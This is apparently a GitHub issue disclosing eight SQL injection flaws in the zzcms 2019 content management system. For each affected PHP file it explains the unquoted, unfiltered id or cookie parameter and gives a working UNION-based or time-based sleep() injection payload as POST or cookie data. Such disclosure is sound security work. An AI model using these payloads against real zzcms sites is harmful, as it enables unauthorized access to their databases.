Skip to content

zzcms 2019 SQL INJECTION LIST #5

Open
@cby234

Description

  1. user/dls_print.php

0x01 Vulnerability (/user/dls_print.php line 51 ~ 56)
image

If index of ',' value in id parameter is not false sql will be
image

When we check the query there is no single quote to id parameter. So We can inject
any query with id parameter
image

We can find there is no security filter for id parameter and it means we can inject Sql query via
id parameter if we concat ',' value at the end of id parameter

0x02 payload
give below "POC" value for post data in "/user/dls_download.php"
POC : union SQL injection
menu1=%3Fb%3D123%26province%3D%26city%3D%26keyword%3D%26page_size%3D2&FileExt=
xls&sql=select+count%28*%29+as+total+from+zzcms_dl+where+classid%3D1+&chkAll=checkbox
&id%5B%5D=1) union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,version(),0,1,2,3-- a,
image

image

  1. user/dls_download.php

0x01 Vulnerability (/user/dls_download.php line 43 ~ 46)
image

If index of ',' value in id parameter is not false sql will be
image

When we check the query there is no single quote to id parameter. So We can inject
any query with id parameter
image

We can find there is no security filter for id parameter and it means we can inject Sql query via
id parameter if we concat ',' value at the end of id parameter

0x02 payload
give below "POC" value for post data in "/user/dls_download.php"
POC : union SQL injection
menu1=%3Fb%3D123%26province%3D%26city%3D%26keyword%3D%26page_size%3D2&FileExt=
xls&sql=select+count%28*%29+as+total+from+zzcms_dl+where+classid%3D1+&chkAll=checkbox
&id%5B%5D=1) union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,version(),0,1,2,3-- a,

image

image

  1. dl/dl_sendmail.php

0x01 Vulnerability (/dl/dl_sendmail.php line 69 ~ 73)
image

If index of ',' value in COOKIE[‘dlid’] parameter is bigger than 0 sql will be
image

When we check the query there is no single quote to COOKIE[‘dlid’] parameter. So We can inject
any query with COOKIE[‘dlid’] parameter
image

n var will get value via GET[‘n’] and if n var value is not 0 php does not make dlid COOKIE
value. So We can inject any query if we give any value without 0 via GET[‘n’] parameter

0x02 payload
give below "POC" value for cookie data in “/dl/dl_sendmail.php?n=1234"
POC : Time based sql injection
COOKIE[‘dlid’] = 1) union select sleep(3)-- a,

image

image

  1. dl/dl_sendsms.php

0x01 Vulnerability (/dl/dl_sendsms.php line 73 ~ 77)
image

If index of ',' value in COOKIE[‘dlid’] parameter is bigger than 0 sql will be
image

When we check the query there is no single quote to COOKIE[‘dlid’] parameter. So We can inject
any query with COOKIE[‘dlid’] parameter
image

n var will get value via GET[‘n’] and if n var value is not 0 php does not make dlid COOKIE
Value. So We can inject any query if we give any value without 0 via GET[‘n’] parameter

0x02 payload
give below "POC" value for cookie data in “/dl/dl_sendsms.php?n=1234"
POC : Time based sql injection
COOKIE[‘dlid’] = 1) union select sleep(3)-- a,

image

image

  1. admin/deluser.php

0x01 Vulnerability (/admin/deluser.php line 28 ~ 32)
image

If index of ',' value in id parameter is bigger than 0 sql will be
image

When we check the query there is no single quote to id parameter. So We can inject
any query with id parameter
image

We can find there is no security filter for id parameter and it means we can inject Sql query via
id parameter if we concat ',' value at the end of id parameter

0x02 payload
give below "POC" value for post data in “/admin/deluser.php "
POC : union sql injection
tablename=zzcms_main&id[0]=1) union select 1234,@@version-- a,

image

image

  1. admin/dl_sendmail.php

0x01 Vulnerability (/admin/dl_sendmail.php line 32 ~ 36)
image

If index of ',' value in id parameter is bigger than 0 sql will be
image

When we check the query there is no single quote to id parameter. So We can inject
any query with id parameter
image

We can find there is no security filter for id parameter and it means we can inject Sql query via
id parameter if we concat ',' value at the end of id parameter

0x02 payload
give below "POC" value for post data in “/admin/dl_sendmail.php "
POC : union Time base sql injection
id[0]=1) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,sleep(3)-- a,

image

image

  1. admin/showbad.php

0x01 Vulnerability (/admin/showbad.php line 26 ~ 32)
image

If index of ',' value in id parameter is bigger than 0 sql will be
image

When we check the query there is no single quote to id parameter. So We can inject
any query with id parameter
image

We can find there is no security filter for id parameter and it means we can inject Sql query via
id parameter if we concat ',' value at the end of id parameter

0x02 payload
give below "POC" value for post data in “/admin/showbad.php?action=del "
POC : Time base sql injection
id[0]=2342342) || IF((1=1),sleep(3),2)-- a,

image

image

  1. admin/ztliuyan_sendmail.php

0x01 Vulnerability (/admin/ztliuyan_sendmail.php line 31 ~ 36)
image

If index of ',' value in id parameter is bigger than 0 sql will be
image

When we check the query there is no single quote to id parameter. So We can inject
any query with id parameter
image

We can find there is no security filter for id parameter and it means we can inject Sql query via
id parameter if we concat ',' value at the end of id parameter

0x02 payload
give below "POC" value for post data in “/admin/ztliuyan_sendmail.php"
POC : union Time base sql injection
id[0]=2342342) union select 1,2,3,4,5,6,7,8,9,sleep(2)-- a,

image

image

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions